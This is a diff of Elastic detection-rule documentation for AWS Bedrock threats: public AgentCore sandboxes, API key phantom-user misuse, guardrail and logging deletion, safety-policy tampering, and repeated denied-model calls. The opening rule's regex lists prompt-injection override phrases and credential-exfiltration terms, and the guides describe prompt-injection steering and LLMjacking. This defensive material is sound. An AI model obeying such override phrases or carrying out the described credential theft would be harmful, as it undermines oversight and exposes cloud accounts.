rlike """.*(aws_secret_access_key|aws_access_key_id|secret access key|access key id).*""" + or ( + Esql_priv.aws_bedrock_agentcore_request_payload_prompt_lower rlike """.*(ignore (all )?(your )?(previous|prior|above) instructions|disregard (your |the )?(previous |above )?instructions|developer mode|do anything now|jailbreak).*""" + and Esql_priv.aws_bedrock_agentcore_request_payload_prompt_lower rlike """.*(system prompt|reveal|exfiltrate|credential|secret|password|api key|token|send .* to https?://).*""" + ) + ) +| keep _id, _version, _index, @timestamp, aws.*, cloud.*, event.* + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Unsecured Credentials +** ID: T1552 +** Reference URL: https://attack.mitre.org/techniques/T1552/ +* Sub-technique: +** Name: Cloud Instance Metadata API +** ID: T1552.005 +** Reference URL: https://attack.mitre.org/techniques/T1552/005/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-aws-bedrock-agentcore-with-public-network-browser-or-code-interpreter-sandbox.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-aws-bedrock-agentcore-with-public-network-browser-or-code-interpreter-sandbox.asciidoc new file mode 100644 index 0000000000..66f1094a1f --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-aws-bedrock-agentcore-with-public-network-browser-or-code-interpreter-sandbox.asciidoc @@ -0,0 +1,135 @@ +[[prebuilt-rule-8-19-36-aws-bedrock-agentcore-with-public-network-browser-or-code-interpreter-sandbox]] +=== AWS Bedrock AgentCore with Public Network Browser or Code Interpreter Sandbox + +Detects the successful creation of an Amazon Bedrock AgentCore Browser or Code Interpreter with an execution IAM role and public network access. These sandboxes run agent-generated code or automated browsing on the caller's behalf, and the attached role lets the sandbox call other AWS services. Public network mode removes the sandbox's network containment, so a sandbox steered by prompt injection, malicious tool output, or code-execution abuse can reach the internet and pivot into other AWS resources with the role's permissions. Review the role scope and whether public egress is required. + +*Rule type*: query + +*Rule indices*: + +* logs-aws.cloudtrail-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.beyondtrust.com/blog/entry/aws-agentcore-privilege-escalation +* https://unit42.paloaltonetworks.com/bypass-of-aws-sandbox-network-isolation-mode/ +* https://sonraisecurity.com/blog/sandboxed-to-compromised-new-research-exposes-credential-exfiltration-paths-in-aws-code-interpreters/ + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Platform: AWS +* Data Source: AWS CloudTrail +* Service: AWS Bedrock +* Service: AWS IAM +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Tactic: Persistence +* Rule Type: Custom Query (KQL) +* Resources: Investigation Guide +* Domain: GenAI +* Mitre Atlas: AML.T0012 +* Mitre Atlas: AML.T0103 + +*Version*: 1 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS Bedrock AgentCore with Public Network Browser or Code Interpreter Sandbox* + + +Amazon Bedrock AgentCore Code Interpreter and Browser sandboxes act for the caller. The Code Interpreter executes agent-generated code, and the Browser drives automated web sessions. Either can be created with an IAM execution role (`executionRoleArn`) that the sandbox assumes when it calls other AWS services. Setting `networkMode=PUBLIC` removes network-level containment. A sandbox then compromised through prompt injection, malicious tool output, or code-execution abuse can reach the public internet and pivot into other AWS resources using that role. Researchers have also shown paths for stealing the role's temporary credentials from a Code Interpreter and reusing them outside the sandbox. + +`CreateBrowser` and `CreateCodeInterpreter` are management-plane events logged to CloudTrail by default. Later `StartBrowserSession` and `StartCodeInterpreterSession` calls are data-plane events and are not in a default management-events trail. + + +*Possible investigation steps* + + +- Check the caller identity (`aws.cloudtrail.user_identity.arn`) and `source.ip` against expected provisioning principals. Unexpected users, roles, or source addresses creating a public AgentCore Browser or Code Interpreter should be investigated. +- Examine `aws.cloudtrail.request_parameters` for `executionRoleArn` and `networkMode=PUBLIC`. Treat the role as the permissions a compromised sandbox would inherit: list the AWS services it can call, and decide whether public egress is required or whether VPC or sandbox network mode would keep the workload contained. +- Review the IAM PassRole permission of the calling identity and whether it is constrained by `iam:PassedToService` conditions. +- Check for a subsequent `StartBrowserSession` or `StartCodeInterpreterSession` from the same caller against the new resource. Those events require data-plane logging. +- Pivot on the execution role for later AWS API calls from outside AgentCore, which can indicate the role's credentials were used beyond the workload. + + +*False positive analysis* + + +- Platform engineering or infrastructure-as-code pipelines that intentionally create a public Browser or Code Interpreter with a scoped execution role. Confirm the principal, role, and network mode match the approved design. +- Workloads that must reach the public internet. Prefer VPC network mode with explicit egress where isolation is required. + + +*Response and remediation* + + +- If the configuration is not approved, delete the Browser or Code Interpreter to stop new sessions and revoke active sessions of the execution role. Assume a public sandbox may already have been steered by untrusted prompts, tool output, or executed code. +- Replace public network mode with a VPC whose routing and egress controls explicitly block outbound internet access, or use sandbox mode where supported, and reduce the execution role to the minimum AWS API permissions the workload needs. +- Constrain `iam:PassRole` for AgentCore creators with `iam:PassedToService` and a permissions boundary on roles that can be passed. +- Enable data-plane logging for `bedrock-agentcore` so later session starts are visible. + + +==== Rule query + + +[source, js] +---------------------------------- +event.dataset: "aws.cloudtrail" and + event.provider: "bedrock-agentcore.amazonaws.com" and + event.action: ( + "CreateCodeInterpreter" or + "CreateBrowser" + ) and + event.outcome: "success" and + aws.cloudtrail.flattened.request_parameters.networkConfiguration.networkMode: "PUBLIC" and + aws.cloudtrail.flattened.request_parameters.executionRoleArn: * + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-aws-bedrock-api-key-phantom-user-activity-outside-bedrock.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-aws-bedrock-api-key-phantom-user-activity-outside-bedrock.asciidoc new file mode 100644 index 0000000000..35e54f379a --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-aws-bedrock-api-key-phantom-user-activity-outside-bedrock.asciidoc @@ -0,0 +1,134 @@ +[[prebuilt-rule-8-19-36-aws-bedrock-api-key-phantom-user-activity-outside-bedrock]] +=== AWS Bedrock API Key Phantom User Activity Outside Bedrock + +Identifies an Amazon Bedrock API key phantom user (an IAM user whose name starts with "BedrockAPIKey-") acting as the caller of a non-Bedrock API request, such as IAM, STS, EC2, VPC, or KMS calls. These users are provisioned by AWS to back a Bedrock bearer token and carry the AmazonBedrockLimitedAccess managed policy, which also grants IAM, VPC, and KMS reconnaissance. A phantom user performing activity outside of Bedrock indicates its credentials are being used beyond their intended scope, which is the privilege-escalation path realized: an attacker who created standard IAM access keys for the phantom user is now using them for reconnaissance or lateral movement outside the Bedrock authentication boundary. + +*Rule type*: query + +*Rule indices*: + +* logs-aws.cloudtrail-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-30m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.beyondtrust.com/blog/entry/aws-bedrock-security-guide-api-keys-detection-response +* https://www.beyondtrust.com/blog/entry/aws-bedrock-security-api-keys +* https://docs.aws.amazon.com/bedrock/latest/userguide/api-keys.html + +*Tags*: + +* Domain: Cloud +* Domain: GenAI +* Data Source: AWS +* Data Source: AWS CloudTrail +* Data Source: Amazon Web Services +* Data Source: AWS IAM +* Data Source: AWS Bedrock +* Data Source: Amazon Bedrock +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Resources: Investigation Guide +* Noise: Medium +* Performance: Fast +* Profile: Recommended +* Threat: Unauthorized AI Usage +* Rule Type: Custom Query (KQL) +* Platform: AWS +* Service: AWS IAM +* Service: AWS Bedrock +* Mitre Atlas: AML.T0012 +* Mitre Atlas: AML.T0055 + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS Bedrock API Key Phantom User Activity Outside Bedrock* + + +Amazon Bedrock API key phantom users ("BedrockAPIKey-*") exist only to back a Bedrock bearer token and carry the AmazonBedrockLimitedAccess managed policy. That policy grants Bedrock control-plane actions plus IAM, VPC, and KMS reconnaissance, so if an attacker adds standard IAM access keys (or a console login) to the phantom user, those credentials can be used for reconnaissance and lateral movement well beyond Bedrock. + +This rule fires when a "BedrockAPIKey-*" user is the caller of an API request whose service is not Bedrock. Because the phantom user has no legitimate reason to act outside Bedrock, such activity is the privilege-escalation path realized. + + +*Possible investigation steps* + + +- Review "aws.cloudtrail.user_identity.arn", "event.provider", and "event.action" to understand what non-Bedrock activity the phantom user performed. +- Inspect "source.ip"/"source.as.number" and "user_agent.original", and determine whether the phantom user holds IAM access keys or a login profile (the escalation pivot). +- Review the full sequence of the phantom user's actions for reconnaissance (IAM/EC2/STS enumeration) or attempts to access other resources. +- Correlate with the credential-addition event (CreateAccessKey/CreateLoginProfile on the same user). + + +*False positive analysis* + + +- Phantom users are not meant to perform non-Bedrock activity, so this should be rare. Validate any intentional repurposing before excluding the identity. + + +*Response and remediation* + + +- If unauthorized, disable and remove the phantom user's IAM access keys and login profile, and delete the phantom user after preserving forensic evidence. +- Review the account for resources the phantom user may have accessed or modified. +- Deploy an SCP denying "iam:CreateAccessKey" and "iam:CreateLoginProfile" on "arn:aws:iam::*:user/BedrockAPIKey-*" to prevent the pivot. + + +==== Setup + + +This rule requires AWS CloudTrail logs ingested via the Elastic AWS integration. See https://docs.elastic.co/integrations/aws/cloudtrail for setup details. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "aws.cloudtrail" + and aws.cloudtrail.user_identity.type: "IAMUser" + and user.name: BedrockAPIKey-* + and not event.provider: ( + "bedrock.amazonaws.com" or "signin.amazonaws.com" or + "agreement-marketplace.amazonaws.com" or "discovery-marketplace.amazonaws.com" + ) + and not event.action: ("GetCallerIdentity" or "GetSessionToken" or "GetAccessKeyInfo") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-aws-bedrock-api-key-used-for-destructive-or-anti-recovery-action.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-aws-bedrock-api-key-used-for-destructive-or-anti-recovery-action.asciidoc new file mode 100644 index 0000000000..4e22a01064 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-aws-bedrock-api-key-used-for-destructive-or-anti-recovery-action.asciidoc @@ -0,0 +1,144 @@ +[[prebuilt-rule-8-19-36-aws-bedrock-api-key-used-for-destructive-or-anti-recovery-action]] +=== AWS Bedrock API Key Used for Destructive or Anti-Recovery Action + +Identifies an Amazon Bedrock API key (bearer token) being used to perform a destructive or anti-recovery control-plane action, such as deleting a guardrail, deleting a custom or imported model, removing provisioned throughput, or disabling model invocation logging. Bedrock API keys are bearer credentials intended for model invocation (InvokeModel, Converse); using one to delete Bedrock resources or disable logging is inconsistent with that purpose and is characteristic of LLMjacking or sabotage following key theft. Every Bedrock API key call is identifiable in CloudTrail by "additionalEventData.callWithBearerToken" being true. The rule matches regardless of outcome, because a destructive attempt via a bearer token is suspicious even when denied. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-30m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.beyondtrust.com/blog/entry/aws-bedrock-security-guide-api-keys-detection-response +* https://www.beyondtrust.com/blog/entry/aws-bedrock-security-api-keys +* https://docs.aws.amazon.com/bedrock/latest/userguide/api-keys.html + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS CloudTrail +* Data Source: AWS Bedrock +* Data Source: Amazon Bedrock +* Use Case: Threat Detection +* Tactic: Impact +* Tactic: Defense Evasion +* Resources: Investigation Guide +* Noise: Unknown +* Performance: Normal +* Profile: Recommended +* Threat: Unauthorized AI Usage +* Rule Type: ES|QL +* Platform: AWS +* Domain: GenAI +* Service: AWS Bedrock +* Mitre Atlas: AML.T0012 + +*Version*: 4 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS Bedrock API Key Used for Destructive or Anti-Recovery Action* + + +Amazon Bedrock API keys are bearer tokens created for model invocation. In CloudTrail, every request made with one carries "additionalEventData.callWithBearerToken" set to true, which distinguishes it from a standard SigV4-signed call. The AmazonBedrockLimitedAccess policy attached to Bedrock API key phantom users also permits destructive Bedrock control-plane actions, so a stolen or misused key can delete guardrails and models or disable logging. + +Using an API key to delete guardrails, custom or imported models, or provisioned throughput, or to disable model invocation logging, is inconsistent with the credential's purpose. It is characteristic of LLMjacking operations (which frequently disable guardrails and logging) or of sabotage following credential theft. + + +*Possible investigation steps* + + +- Identify the specific action in "event.action" and the affected resource in "aws.cloudtrail.request_parameters". +- Identify the principal in "aws.cloudtrail.user_identity.arn"/"aws.cloudtrail.user_identity.type" and review "source.ip", "source.as.number", and "user_agent.original"; generic HTTP clients (python-requests, aiohttp, curl) are a further LLMjacking indicator. +- Review the same principal's other Bedrock API key activity for model-invocation spikes, cross-region use, or additional destructive actions. +- Determine whether model invocation logging or guardrails were disabled, and when, to scope any window of reduced visibility. + + +*False positive analysis* + + +- Sanctioned automation may manage Bedrock resources with an API key. Confirm the principal and change, and exclude known maintenance identities after validation. + + +*Response and remediation* + + +- If unauthorized, revoke the Bedrock API key (attach an inline deny on "bedrock:CallWithBearerToken" to the phantom user or deactivate the service-specific credential) and restore the deleted resource or re-enable logging. +- Check the phantom user for IAM access keys created as a persistence pivot and revoke them. +- Review the principal's recent activity and prefer short-term keys or STS going forward. + + +==== Setup + + +This rule requires AWS CloudTrail logs ingested via the Elastic AWS integration. See https://docs.elastic.co/integrations/aws/cloudtrail for setup details. + +==== Rule query + + +[source, js] +---------------------------------- +FROM logs-aws.cloudtrail-* METADATA _id, _version, _index +| WHERE event.provider == "bedrock.amazonaws.com" + AND aws.cloudtrail.additional_eventdata RLIKE """.*callWithBearerToken=true.*""" + AND event.action IN ( + "DeleteGuardrail", + "DeleteModelInvocationLoggingConfiguration", + "PutModelInvocationLoggingConfiguration", + "DeleteImportedModel", + "DeleteCustomModel", + "DeleteModelCustomizationJob", + "DeleteProvisionedModelThroughput", + "DeleteMarketplaceModelEndpoint" + ) +| KEEP _id, _version, _index, @timestamp, aws.*, cloud.*, event.*, source.*, user.*, user_agent.* + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Data Destruction +** ID: T1485 +** Reference URL: https://attack.mitre.org/techniques/T1485/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Tools +** ID: T1562.001 +** Reference URL: https://attack.mitre.org/techniques/T1562/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-aws-bedrock-automated-reasoning-safety-policy-tampering.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-aws-bedrock-automated-reasoning-safety-policy-tampering.asciidoc new file mode 100644 index 0000000000..b844567174 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-aws-bedrock-automated-reasoning-safety-policy-tampering.asciidoc @@ -0,0 +1,144 @@ +[[prebuilt-rule-8-19-36-aws-bedrock-automated-reasoning-safety-policy-tampering]] +=== AWS Bedrock Automated Reasoning Safety Policy Tampering + +Detects deletion or modification of AWS Bedrock Automated Reasoning policies via the DeleteAutomatedReasoningPolicy, UpdateAutomatedReasoningPolicy, or UpdateAutomatedReasoningPolicyAnnotations CloudTrail actions. Automated Reasoning policies are a Bedrock safety and validation control that constrains model outputs against formal rules. An adversary who deletes a policy or alters the policy definition or its annotations weakens an enforced output-validation defense, potentially allowing unsafe or non-compliant model responses to pass unchecked. Benign build, test-workflow, and test-case CRUD operations are intentionally excluded as they have no coherent abuse path. + +*Rule type*: query + +*Rule indices*: + +* logs-aws.cloudtrail-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/bedrock/latest/userguide/automated-reasoning.html + +*Tags*: + +* Domain: Cloud +* Domain: GenAI +* Data Source: AWS +* Data Source: AWS CloudTrail +* Data Source: Amazon Web Services +* Data Source: AWS Bedrock +* Data Source: Amazon Bedrock +* Use Case: Threat Detection +* Resources: Investigation Guide +* Tactic: Defense Evasion +* Noise: Unknown +* Performance: Fast +* Profile: Recommended +* Threat: Unauthorized AI Usage +* Rule Type: Custom Query (KQL) +* Platform: AWS +* Service: AWS Bedrock + +*Version*: 4 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS Bedrock Automated Reasoning Safety Policy Tampering* + + +AWS Bedrock Automated Reasoning policies enforce formal, rule-based validation of model outputs, acting as a +safety control that constrains what a model is permitted to return. Deleting a policy or modifying its +definition or annotations directly weakens this control. Adversaries who have gained access to the Bedrock +control plane may tamper with these policies to evade output-validation defenses, enabling unsafe, manipulated, +or non-compliant model behavior. This detection identifies `DeleteAutomatedReasoningPolicy`, +`UpdateAutomatedReasoningPolicy`, and `UpdateAutomatedReasoningPolicyAnnotations` calls so responders can +confirm whether the change was authorized. + + +*Possible investigation steps* + + +- **Identify the actor and context** + - Review `aws.cloudtrail.user_identity.arn`, `aws.cloudtrail.user_identity.type`, + `aws.cloudtrail.user_identity.access_key_id`, `source.ip`, and `user_agent.original`. + - Determine whether the identity normally administers Bedrock safety policies and whether the action aligns + with an approved change request. +- **Review the specific action** + - For `DeleteAutomatedReasoningPolicy`, identify the deleted policy in + `aws.cloudtrail.flattened.request_parameters` and confirm whether a replacement control exists. + - For `UpdateAutomatedReasoningPolicy` / `UpdateAutomatedReasoningPolicyAnnotations`, inspect + `aws.cloudtrail.request_parameters` and `aws.cloudtrail.response_elements` to understand what was changed + and whether the change loosens validation constraints. +- **Correlate surrounding activity** + - Look for other Defense Evasion or Bedrock control-plane activity from the same identity in the surrounding + window (model invocation changes, guardrail modifications, logging changes). + - Check `cloud.account.id` and `cloud.region` to scope blast radius across the environment. + + +*False positive analysis* + + +- **Planned policy maintenance**: Governance teams may legitimately tune or retire Automated Reasoning + policies. Validate against change tickets and standard templates. +- **Automation**: IaC or CI/CD pipelines may update policies during deployments. Confirm the actor maps to + known automation infrastructure. + + +*Response and remediation* + + +- If the change is unauthorized, restore the prior policy definition or recreate the deleted policy from a + known-good configuration. +- Revoke or rotate the credentials in `aws.cloudtrail.user_identity.access_key_id` if compromise is suspected. +- Review all Bedrock control-plane activity from the same identity in the preceding window for further + defense-impairing actions. +- Restrict `bedrock:DeleteAutomatedReasoningPolicy` and `bedrock:UpdateAutomatedReasoningPolicy*` permissions + to a small set of administrative roles and enforce approval workflows. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "aws.cloudtrail" and + event.provider: "bedrock.amazonaws.com" and + event.action: ( + "DeleteAutomatedReasoningPolicy" or + "UpdateAutomatedReasoningPolicy" or + "UpdateAutomatedReasoningPolicyAnnotations" + ) and event.outcome:success + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Tools +** ID: T1562.001 +** Reference URL: https://attack.mitre.org/techniques/T1562/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-aws-bedrock-detected-multiple-attempts-to-use-denied-models-by-a-single-user.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-aws-bedrock-detected-multiple-attempts-to-use-denied-models-by-a-single-user.asciidoc new file mode 100644 index 0000000000..5ab11a0227 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-aws-bedrock-detected-multiple-attempts-to-use-denied-models-by-a-single-user.asciidoc @@ -0,0 +1,144 @@ +[[prebuilt-rule-8-19-36-aws-bedrock-detected-multiple-attempts-to-use-denied-models-by-a-single-user]] +=== AWS Bedrock Detected Multiple Attempts to use Denied Models by a Single User + +Identifies multiple successive failed attempts to use denied model resources within AWS Bedrock. This could indicated attempts to bypass limitations of other approved models, or to force an impact on the environment by incurring exhorbitant costs. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 10m + +*Searches indices from*: now-60m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/bedrock/latest/userguide/guardrails-components.html +* https://atlas.mitre.org/techniques/AML.T0015 +* https://atlas.mitre.org/techniques/AML.T0034 +* https://www.elastic.co/security-labs/elastic-advances-llm-security + +*Tags*: + +* Domain: GenAI +* Data Source: AWS Bedrock +* Data Source: AWS S3 +* Resources: Investigation Guide +* Use Case: Policy Violation +* Noise: Low +* Performance: Fast +* Profile: Recommended +* Threat: Unauthorized AI Usage +* Rule Type: ES|QL +* Platform: AWS +* Domain: Cloud +* Service: AWS S3 +* Service: AWS Bedrock +* Mitre Atlas: AML.T0015 +* Mitre Atlas: AML.T0034 + +*Version*: 10 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS Bedrock Detected Multiple Attempts to use Denied Models by a Single User* + + +Amazon Bedrock is AWS’s managed service that enables developers to build and scale generative AI applications using large foundation models (FMs) from top providers. + +Bedrock offers a variety of pretrained models from Amazon (such as the Titan series), as well as models from providers like Anthropic, Meta, Cohere, and AI21 Labs. + + +*Possible investigation steps* + + +- Identify the user account that attempted to use denied models. +- Investigate other alerts associated with the user account during the past 48 hours. +- Consider the time of day. If the user is a human (not a program or script), did the activity take place during a normal time of day? +- Examine the account's attempts to access Amazon Bedrock models in the last 24 hours. +- If you suspect the account has been compromised, scope potentially compromised assets by tracking Amazon Bedrock model access, prompts generated, and responses to the prompts by the account in the last 24 hours. + + +*False positive analysis* + + +- Verify the user account that attempted to use denied models, is a legitimate misunderstanding by users or overly strict policies. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Disable or limit the account during the investigation and response. +- Identify the possible impact of the incident and prioritize accordingly; the following actions can help you gain context: + - Identify the account role in the cloud environment. + - Identify if the attacker is moving laterally and compromising other Amazon Bedrock Services. + - Identify any regulatory or legal ramifications related to this activity. +- Review the permissions assigned to the implicated user group or role behind these requests to ensure they are authorized and expected to access bedrock and ensure that the least privilege principle is being followed. +- Determine the initial vector abused by the attacker and take action to prevent reinfection via the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + +This rule requires that guardrails are configured in AWS Bedrock. For more information, see the AWS Bedrock documentation: + +https://docs.aws.amazon.com/bedrock/latest/userguide/guardrails-create.html + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-aws_bedrock.invocation-* + +// Filter for access denied errors from GenAI responses +| where gen_ai.response.error_code == "AccessDeniedException" + +// keep ECS and response fields +| keep + user.id, + gen_ai.request.model.id, + cloud.account.id, + gen_ai.response.error_code + +// count total denials per user/model/account +| stats + Esql.ml_response_access_denied_count = count(*) + by + user.id, + gen_ai.request.model.id, + cloud.account.id + +// Filter for users with repeated denials +| where Esql.ml_response_access_denied_count > 3 + +// sort by volume of denials +| sort Esql.ml_response_access_denied_count desc + +---------------------------------- diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-aws-bedrock-detected-multiple-validation-exception-errors-by-a-single-user.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-aws-bedrock-detected-multiple-validation-exception-errors-by-a-single-user.asciidoc new file mode 100644 index 0000000000..0eceaa198c --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-aws-bedrock-detected-multiple-validation-exception-errors-by-a-single-user.asciidoc @@ -0,0 +1,148 @@ +[[prebuilt-rule-8-19-36-aws-bedrock-detected-multiple-validation-exception-errors-by-a-single-user]] +=== AWS Bedrock Detected Multiple Validation Exception Errors by a Single User + +Identifies multiple validation exeception errors within AWS Bedrock. Validation errors occur when you run the InvokeModel or InvokeModelWithResponseStream APIs on a foundation model that uses an incorrect inference parameter or corresponding value. These errors also occur when you use an inference parameter for one model with a model that doesn't have the same API parameter. This could indicate attempts to bypass limitations of other approved models, or to force an impact on the environment by incurring exhorbitant costs. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 10m + +*Searches indices from*: now-60m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://atlas.mitre.org/techniques/AML.T0015 +* https://atlas.mitre.org/techniques/AML.T0034 +* https://atlas.mitre.org/techniques/AML.T0046 +* https://www.elastic.co/security-labs/elastic-advances-llm-security + +*Tags*: + +* Domain: GenAI +* Data Source: AWS +* Data Source: AWS Bedrock +* Data Source: AWS S3 +* Use Case: Policy Violation +* Resources: Investigation Guide +* Noise: Low +* Performance: Fast +* Profile: Recommended +* Threat: Unauthorized AI Usage +* Rule Type: ES|QL +* Platform: AWS +* Domain: Cloud +* Service: AWS S3 +* Service: AWS Bedrock +* Mitre Atlas: AML.T0015 +* Mitre Atlas: AML.T0034 +* Mitre Atlas: AML.T0046 + +*Version*: 10 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS Bedrock Detected Multiple Validation Exception Errors by a Single User* + + +Amazon Bedrock is AWS’s managed service that enables developers to build and scale generative AI applications using large foundation models (FMs) from top providers. + +Bedrock offers a variety of pretrained models from Amazon (such as the Titan series), as well as models from providers like Anthropic, Meta, Cohere, and AI21 Labs. + + +*Possible investigation steps* + + +- Identify the user account that caused validation errors in accessing the Amazon Bedrock models. +- Investigate other alerts associated with the user account during the past 48 hours. +- Consider the time of day. If the user is a human (not a program or script), did the activity take place during a normal time of day? +- Examine the account's attempts to access Amazon Bedrock models in the last 24 hours. +- If you suspect the account has been compromised, scope potentially compromised assets by tracking Amazon Bedrock model access, prompts generated, and responses to the prompts by the account in the last 24 hours. + + +*False positive analysis* + + +- Verify the user account that that caused validation errors is a legitimate misunderstanding by users on accessing the bedrock models. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Disable or limit the account during the investigation and response. +- Identify the possible impact of the incident and prioritize accordingly; the following actions can help you gain context: + - Identify the account role in the cloud environment. + - Identify if the attacker is moving laterally and compromising other Amazon Bedrock Services. + - Identify any regulatory or legal ramifications related to this activity. + - Identify if any implication to resource billing. +- Review the permissions assigned to the implicated user group or role behind these requests to ensure they are authorized and expected to access bedrock and ensure that the least privilege principle is being followed. +- Determine the initial vector abused by the attacker and take action to prevent reinfection via the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + +This rule requires that AWS Bedrock Integration be configured. For more information, see the AWS Bedrock integration documentation: + +https://www.elastic.co/docs/current/integrations/aws_bedrock + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-aws_bedrock.invocation-* + +// Truncate timestamp to 1-minute window +| eval Esql.time_window_date_trunc = date_trunc(1 minutes, @timestamp) + +// Filter for validation exceptions in responses +| where gen_ai.response.error_code == "ValidationException" + +// keep relevant ECS and derived fields +| keep + user.id, + gen_ai.request.model.id, + cloud.account.id, 